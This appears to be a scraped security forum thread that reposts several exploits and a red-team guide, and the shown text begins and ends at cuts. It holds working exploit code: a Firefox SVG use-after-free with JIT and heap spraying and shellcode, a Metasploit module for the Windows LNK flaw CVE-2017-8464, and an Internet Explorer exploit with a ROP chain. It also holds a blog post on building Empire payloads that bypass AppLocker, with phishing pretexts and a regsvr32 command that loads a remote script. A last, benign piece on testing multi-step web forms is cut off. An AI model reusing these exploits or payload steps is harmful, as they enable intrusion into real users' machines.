0xa801c783)|0; val = (val + 0xa803e983)|0; val = (val + 0xa89008e3)|0; val = (val + 0xa890cceb)|0; val = (val + 0xa890e0ff)|0; val = (val + 0xa824248d)|0; /* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */ val = (val + 0xa882e8fc)|0; val = (val + 0xa8000000)|0; val = (val + 0xa8e58960)|0; val = (val + 0xa864c031)|0; val = (val + 0xa830508b)|0; val = (val + 0xa80c528b)|0; val = (val + 0xa814528b)|0; val = (val + 0xa828728b)|0; val = (val + 0xa84ab70f)|0; val = (val + 0xa8ff3126)|0; val = (val + 0xa8613cac)|0; val = (val + 0xa82c027c)|0; val = (val + 0xa8cfc120)|0; val = (val + 0xa8c7010d)|0; val = (val + 0xa852f2e2)|0; val = (val + 0xa8528b57)|0; val = (val + 0xa84a8b10)|0; val = (val + 0xa84c8b3c)|0; val = (val + 0xa8e37811)|0; val = (val + 0xa8d10148)|0; val = (val + 0xa8598b51)|0; val = (val + 0xa8d30120)|0; val = (val + 0xa818498b)|0; val = (val + 0xa8493ae3)|0; val = (val + 0xa88b348b)|0; val = (val + 0xa831d601)|0; val = (val + 0xa8c1acff)|0; val = (val + 0xa8010dcf)|0; val = (val + 0xa8e038c7)|0; val = (val + 0xa803f675)|0; val = (val + 0xa83bf87d)|0; val = (val + 0xa875247d)|0; val = (val + 0xa88b58e4)|0; val = (val + 0xa8012458)|0; val = (val + 0xa88b66d3)|0; val = (val + 0xa88b4b0c)|0; val = (val + 0xa8011c58)|0; val = (val + 0xa8048bd3)|0; val = (val + 0xa8d0018b)|0; val = (val + 0xa8244489)|0; val = (val + 0xa85b5b24)|0; val = (val + 0xa85a5961)|0; val = (val + 0xa8e0ff51)|0; val = (val + 0xa85a5f5f)|0; val = (val + 0xa8eb128b)|0; val = (val + 0xa86a5d8d)|0; val = (val + 0xa8858d01)|0; val = (val + 0xa80000b2)|0; val = (val + 0xa8685000)|0; val = (val + 0xa86f8b31)|0; val = (val + 0xa8d5ff87)|0; val = (val + 0xa80efebb)|0; val = (val + 0xa868ea32)|0; val = (val + 0xa8bd95a6)|0; val = (val + 0xa8d5ff9d)|0; val = (val + 0xa87c063c)|0; val = (val + 0xa8fb800a)|0; val = (val + 0xa80575e0)|0; val = (val + 0xa81347bb)|0; val = (val + 0xa86a6f72)|0; val = (val + 0xa8ff5300)|0; val = (val + 0xa86d63d5)|0; val = (val + 0xa8652e64)|0; val = (val + 0xa8006578)|0; val = (val + 0xa8909090)|0; return val|0; } return payload_code } </script> <script> function spray_asm_js_modules(){ sprayed = [] for (var i=0; i<= 0x1800; i++){ sprayed[i] = asm_js_module() } } /* heap spray inspired by skylined */ function heap_spray_fake_objects(){ var heap = [] var current_address = 0x08000000 var block_size = 0x1000000 while(current_address < object_target_address){ var heap_block = new Uint32Array(block_size/4 - 0x100) for (var offset = 0; offset < block_size; offset += 0x100000){ /* fake object target = ecx + 0x88 and fake vtable*/ heap_block[offset/4 + 0x00/4] = object_target_address /* self + 4 */ heap_block[offset/4 + 0x14/4] = object_target_address /* the path to EIP */ heap_block[offset/4 + 0x18/4] = 4 heap_block[offset/4 + 0xac/4] = 1 /* fake virtual function --> JIT target */ heap_block[offset/4 + 0x138/4] = jit_payload_target } heap.push(heap_block) current_address += block_size } return heap } /* address of fake object */ object_target_address = 0x30300000 /* address of our jitted shellcode */ jit_payload_target = 0x1c1c0054 /* ASM.JS JIT Spray */ spray_asm_js_modules() /* Spray fake objects */ heap = heap_spray_fake_objects() /* -----> */ /* bug trigger ripped from bugzilla report */ var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x88 // Firefox 50.0.1 var exploit = function(){ var u32 = new Uint32Array(block80) u32[0x4] = arrBase - offset; u32[0xa] = arrBase - offset; u32[0x10] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') containerA.pauseAnimations(); } worker.onmessage = function(e) {arrBase=object_target_address; exploit()} //worker.onmessage = function(e) {arrBase=0x30300000; exploit()} var trigger = function(){ containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = trigger; setInterval("window.location.reload()", 3000) /* <----- */ </script> Sursa: https://www.exploit-db.com/exploits/42327/
  17. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE attr_accessor :exploit_dll_name def initialize(info = {}) super(update_info(info, 'Name' => 'LNK Remote Code Execution Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except in an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. }, 'Author' => [ 'Uncredited', # vulnerability discovery 'Yorick Koster' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-8464'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'], ['URL', 'http://paper.seebug.org/357/'], # writeup ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, # Default target is 64-bit 'DisclosureDate' => 'Jun 13 2017')) register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]) ]) end def exploit dll = generate_payload_dll dll_name = "#{rand_text_alpha(16)}.dll" dll_path = store_file(dll, dll_name) print_status("#{dll_path} created copy it to the root folder of the target USB drive") # HACK the vulnerability doesn't appear to work with UNC paths # Create LNK files to different drives instead 'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i| lnk = generate_link("#{i}:\\#{dll_name}") lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk") print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}") end end def generate_link(path) path << "\x00" display_name = "Flash Player\x00" # LNK Display Name comment = "\x00" # Control Panel Applet ItemID with our DLL cpl_applet = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') cpl_applet << [path.length].pack('v') cpl_applet << [display_name.length].pack('v') cpl_applet << path.unpack('C*').pack('v*') cpl_applet << display_name.unpack('C*').pack('v*') cpl_applet << comment.unpack('C*').pack('v*') # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046 0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode) 0x00, 0x00, 0x00, 0x00, # FileAttributes 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime 0x00, 0x00, 0x00, 0x00, # FileSize 0x00, 0x00, 0x00, 0x00, # IconIndex 0x00, 0x00, 0x00, 0x00, # ShowCommand 0x00, 0x00, # HotKey 0x00, 0x00, # Reserved1 0x00, 0x00, 0x00, 0x00, # Reserved2 0x00, 0x00, 0x00, 0x00 # Reserved3 ].pack('C*') # IDList idlist_data = '' idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # This PC 0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [0x12 + 2].pack('v') # ItemIDSize idlist_data << [ # All Control Panel Items 0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') idlist_data << [cpl_applet.length + 2].pack('v') idlist_data << cpl_applet idlist_data << [0x00].pack('v') # TerminalID # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData # SpecialFolderDataBlock ret << [ 0x10, 0x00, 0x00, 0x00, # BlockSize 0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005 0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel) 0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList ].pack('C*') # TerminalBlock ret << [0x00, 0x00, 0x00, 0x00].pack('V') ret end # Store the file in the MSF local directory (eg, /root/.msf4/local/) def store_file(data, filename) ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end if filename and not filename.empty? if filename =~ /(.*)\.(.*)/ ext = $2 fname = $1 else fname = filename end else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') fname << ".#{ext}" path = File.join("#{Msf::Config.local_directory}/", fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } full_path.dup end end Sursa: https://www.exploit-db.com/exploits/42382/
  18. <!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var base_leaked_addr = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var audioElm = document.createElement("audio"); audioElm.src = "test.mp3"; } function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function readu(value) { var uc = escape(value); var ucsplit = uc.split('%'); var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', '')); return res; } function spray() { // DEPS technique used here - avoid null bytes var hso = document.createElement("div"); base_leaked_addr = parseInt(base_leaked_addr,16); var junk = unescape("%u0e0e%u0e0e"); while (junk.length < 0x1000) junk += junk; var rop = unescape( writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffff) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x4e385) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2030f) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(0,0xf07645d5) + writeu(base_leaked_addr,0x6e002) + writeu(0,0x41414141) + writeu(base_leaked_addr,0xaebc) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffbf) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x6361b) + writeu(base_leaked_addr,0x432cf) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x5cef1) + writeu(base_leaked_addr,0x4177e) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x1244) + writeu(base_leaked_addr,0xa819) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2720b) + "" ); /* Original VirtualAlloc ROP generated with mona.py - www.corelan.be Library used "propsys.dll", part of the Windows Search functionality (?) and last updated Nov 2010. I think it's a good target for our needs. Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx) "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll] "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll] */ // Move ESP to the VirtualAlloc ROP chain var stack_shift_rop = unescape( writeu(0,235802130) + writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x0e0e1258) + writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + ""); // root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le // ~2854 bytes max var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} var fix1 = 0x15c; var fixop = unescape("%u0e0e%u0e0e"); var offset_to_stack_shift = 0x6f7; var offset_to_xchg = 0xd2+2; // Jumping a bit around here, pretty sure this can be simplified but hey... it works data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg; data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,(0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(0,2); var leaked_addr = readu(il); base_leaked_addr = leaked_addr - 0xbacc; // base of propsys base_leaked_addr = base_leaked_addr.toString(16); spray(); boom(); }, 1000); // can be reduced </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea> </form> <script> </script> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html> Sursa: https://www.exploit-db.com/exploits/42354/
  19. Empire without PowerShell.exe ON JULY 26, 2017 BY BNEG IN PENTESTING, RED TEAM Problem: The client has blocked Powershell.exe using AppLocker and I don’t have the dough for Cobalt Strike. I want to get an Empire payload on a workstation via a phishing campaign and I need payloads ready once I have a foothold. Nearly all of the launcher methods for Empire rely on the ability to use PowerShell.exe. Other methods like msbuild.exe requires dropping a file to disk, and I really liked the regsvr32 method of loading my .sct over the internet (it too drops a file to disk) and using a ducky. I also really appreciate the simplicity of VBA’s in documents or HTA’s. Problem is, Empire is a Powershell RAT so one way or another PowerShell has to run. One method that was suggested is calling an Empire.dll or Empire.exe over an internet accessible SMB share. I have yet to try that method but have been assured it works. My dislike for the SMB method is the outbound SMB connection, which will look pretty unusual to any defenders watching traffic. I’ll have to give it a go at some point, I’m sure. The three payloads I’m going cover: Build an empire.exe Build an empire.dll Build an empire.sct that doesn’t call powershell.exe The tools and resources we’re going to use are: SharpPick codebase by @sixdub DotNetToJS by James Foreshaw (@tiraniddo) AllTheThings by Casey Smith (@subtee) Visual Studio. Not strictly necessary, but it’s what I know and it’s free albiet a huge download. Presumably you could use csc.exe to build your project, but I haven’t tested it. I chose Visual Studio 2010 for PowerPick, though 2012 would probably work fine. That’s a lot of crap to download, I know. What’s nice about 2010/2012 is it comes with the older .NET libraries which are getting harder to find. I wouldn’t be able to do this without the above authors’ work, and I’m very grateful. What follows is simply putting together a few different pieces of great work to achieve a specific outcome that I was unable to find prior work for. *Note: In my research to do this, I came across two projects that are doing almost exactly the same thing, both of which utilize DotNetToJScript and neither of which worked for me. StarFighters (@Cn33liz). First, I’m pretty leery of running encoded binaries from the internet. This one contains an encoded powershell.exe, which receives and executes your launcher code. I tried it, and was able to get an Empire check-in, but not script execution. CACTUSTORCH (@vysecurity). I tried this as well, but it really wants to inject shellcode into a launched binary of your choosing, and I couldn’t figure out how to make my launcher into shellcode using SharpPick. It’s probably doable, I just don’t know how. The examples @vysecurity provide use a Cobalt Strike or a Meterpreter shellcode output. Build an Empire.exe I’ve commonly seen Cobalt Strike used with “updates.exe”, a stageless beacon. For Empire, you can do something similar with this method. Add this to an email pretext suggesting new anti-virus definitions need to be installed. Or run it via psexec or wmi, or as an embedded OLE object in Outlook (h/t @tyler_robinson). This is probably the simplest method of getting you an agent without calling Powershell.exe. To start, go get your copy of PowerPick via git, and open up the project in Visual Studio. First, you’ll want to obfuscate some of the project properties. Change the name of the program and assembly information. Get there by selecting from the menu “project -> SharpPick Properties”. Make sure to change the “Output Type” to “Windows Application” so it’ll run in the background after you double click or execute from the CLI. Click that “Assembly Information” button as well, and change those properties too. Now you’ll want to change the code in Program.cs to this (gist): Where the string “stager” contains only the base64 encoded Empire launcher information. This will get decoded and passed to RunPS() which sends the PowerShell command to System.Management.Automation, where the real PowerShell magic actually happens. This is tapping directly into the core of Windows. Now go to your menu and select “Build -> Build Solution” or hit “F6”. Your shiny new binary should be in “PowerTools\Empire_SCT\PowerPick\bin\x86\Debug”. ** You may get an error about ReflectivePick not building, that’s fine. You can suppress that error by going to “Build -> Configuration Manager” and deselecting “ReflectivePick” from the “Project Contexts”. We don’t need it. Test your binary by either double clicking the executable, or simply running it on the CLI. It should run in the background after you launch or execute it. Build an Empire.dll Maybe you need a DLL so you can use one of those sweet AppLocker bypasses Casey is always finding. A great example is rundll32.exe. In order to do this, we’re going to change our project a little bit, and add some entry points in our code. The code below comes directly from @subtee’s “AllTheThings”. Just like the EXE, open up the project and change those indicators. The other important thing you need to change in the project properties is the “Output Type”, which needs to be “Class Library”. You should probably set your “Startup Object” as well, to whatever it defaults to in the drop down (based on you namespace and class names). Next, install the nuget package manager for Visual Studio. Once that’s installed you’ll need to get the dependency “UnmanagedExports” by running: PM> install-package UnmanagedExports Next up, open that “Program.cs” and change your code to look like this in addition to a few “using” statements not shown but included in the gist: Again, go to “Build -> Build Solution” or hit “F6” and you should have a LegitLibrary.dll or whatever in your build directory (same as above). Test your new DLL by running: rundll32.exe LegitLibrary.dll,EntryPoint That should return a new agent to your Empire C2. If you look in Process Explorer, you’ll see rundll32 as a new running process. Build an Empire.sct This is probably the most complicated as it involves a number of steps. The end result is essentially this: stuff PowerShell into a .NET app, convert that .NET app into a base64 encoded binary in a javascript file, which is then stuffed into a .SCT. You can call that sct with regsvr32 which executes the JavaScript within the .SCT that lives on your web/file server. What we’re aiming for here is the Empire.exe payload, but converted into base64. The project options should be the same as you made for Empire.exe, in other words a “Windows Application”. The code is a bit different though as the JavaScript needs some public methods to reach into and execute our code (gist). Build that and go find your binary, it should be an exe. Next up, go download DotNetToJScript and open that project in Visual Studio, change it’s .NET target to “.NET version 3.5” (or 2.0) in project options and compile (build) it. Once it’s built, find the DotNetToJScript.exe and it’s companion NDesk.Options.dll and place those in the same place as your LegitScript.exe binary. run the following (-c is the entry point, change to your chosen namespace.class): .\DotNetToJScript.exe -c=LegitScript.Program -o=legitscript.js legitscript.exe That should output a legitscript.js. DotNetToJScript outputs in a couple of other languages including VBA and VBScript for embedding in Office documents or what ever else you might need. You can test it before proceeding to the next steps by running: wscript.exe legitscript.js That should launch a new agent on your workstation in the background. It’ll be running as “wscript” in your process monitor. If you’ve confirmed that as working, it’s time to wrap it into a .sct so we can call it with regsvr32.exe. Place the entire contents of legitscript.js into the CDATA tag (picture below). You can get the XML format in Empire by using: (Empire: usestager windows/launcher_sct The settings don’t matter, but you can set them to your listener and make sure “OutFile” is set to null or “” no value as this will print the content to screen. If you’re getting the contents from Empire, strip everything out of the CDATA tag, and replace it with your legitscript.js. Save that as 2legit.sct and test with: regsvr32 /s /n /u /i:2legit.sct scrobj.dll Which, again, should return a new agent. You can save that .sct to your web or file server and call it remotely replacing the “/i:” with “/i:https://example.com/2legit.sct&#8221;. This is an AppLocker bypass as regsvr32.exe is a Microsoft signed binary. Conclusion PowerShell is awesome, and attackers have been using it for years now. The best advice we’re giving to clients is to keep their environments locked down with PowerShell Constrained Mode, disable PowerShell v2, and upgrade PowerShell across the enterprise to the latest which supports Script Block Logging. It’s pretty difficult and almost unrealistic to keep PowerShell from executing in your environment, so at least know when and how it’s being used. Thanks to @subtee for engaging with me on some ideas, @vysecurity for answering questions, and all the giants and project authors who have made this even possible. Sursa: https://bneg.io/2017/07/26/empire-without-powershell-exe/
  20. Testing Multi-Step Forms By Michael Skiba, 26 July 2017 In this two-part blog, we will be discussing multi-step forms. In part 1, we will see how multi-step forms affect scoping a test; while in part two we will go through techniques involved in testing multi-step forms. Before we delve into the details, let’s cover some basics. What Is a Form? A form is used on webpages to let users submit data to the application and interact with it. The reasons for them are manifold and their use are essential to an interactive internet: Be it ordering a pizza online, writing a forum post or just checking the weather in a certain zip code , each requires user input, that is usually collected through forms. Below is an example for a simple contact form that lets the user submit a contact request. All the necessary data is collected in a form on page 1 (S1) and is then sent, processed and output in a single request (S2). Figure 1: A single page contact form with 13 input fields What is a multi-step form? A multi-step form is spread across several pages and requires the user to follow a specific route comprised of several steps/forms (e.g. by clicking the next button several times), before the actual processing of the data happens. This can often be seen on insurance or banking sites when applying for an insurance policy or a credit, e-commerce/bidding websites, quiz applications, etc. These forms usually require a lot of information (personal data, financial data, property details …). Below is an example of a simple multi-step form where input data is collected on page 1 (S1) and page 2 (S2) and sent to the server respectively. Upon requesting page 3 the server processes the data that has previously been collected and outputs the result. This decoupling of input and output makes testing and especially input ‘fuzzing’ (we’ll learn about that in a few seconds) a tad bit more complex. Figure 2: A multi-step form with two input pages (8 + 5 = 13 input fields) and one result page Part 1 - Scoping pitfalls When scoping (i.e. estimating the necessary time for a test) applications, multi-step forms can constitute a hike in the amount of effort required for the overall project. But why is that? The reason for this lies in the nested nature of these forms and the different combinations of input and output that unfold a whole lot of possibilities. But first things first: What is “fuzzing”? (a.k.a. “Throwing stuff at a wall and see what sticks”) An integral part of every penetration test (“pentest”) is input and output validation. This is usually done both manually and automatically and ensures that potentially malicious data is escaped properly, before being processed/stored/displayed. Typical examples for this type of vulnerability include Cross-Site Scripting (XSS), SQL Injections, local and remote file inclusion, and remote code execution. During an average test, a single input field is tested on average with around 1000 different payload strings. Each submitted payload has to be checked to see if it deviates from the normal behaviour of the application, e.g. is the input ‘reflected’ (in layman’s terms: shown on the page somewhere) on another page? If so, is it safely escaped or does it break out of the page syntax and enable the execution of script code? Another metric could be the time needed for the response to return, to see if the payload might have triggered something in the background, even if the payload string is not reflected on the page. Naturally these checks become more complicated if the input and output processing is spread across several pages. Example Scoping Calculation (simplified) Let’s assume we are scoping the effort required to test the contact form shown above (fig. 1.) It is a single form with 13 input fields that are entered on the first page and are immediately processed when the ‘Send message!’ button is clicked. For the sake of simplicity, let’s assume there is no session to keep track of, or other complex back-end functions. This equates to a rather easy calculation of 13*1000 = 13, 000 requests. With a multi-step form this becomes slightly more difficult, because: The input can be reflected at various places during the process; A user could move back and forth between the pages (a page might restore previously set values); and, The server needs to keep track of a session state (i.e. a cookie). Therefore, instead of having just one workflow there are several different ‘runs’ (example, fig 2). A common mistake that can be seen in the wild is when input validation tests carried out automatically using a tool (e.g. burp) are performed on individual steps only, without going all the way from the beginning to the end of a multi-step form. This is usually a limitation of the testing approach, rather than the tool itself. With such an approach, one only sees a small piece of the picture and might miss critical information. Naïve approach Consider testing the multi-step process described in fig 2. This form is divided into three pages: ‘Personal Details’, 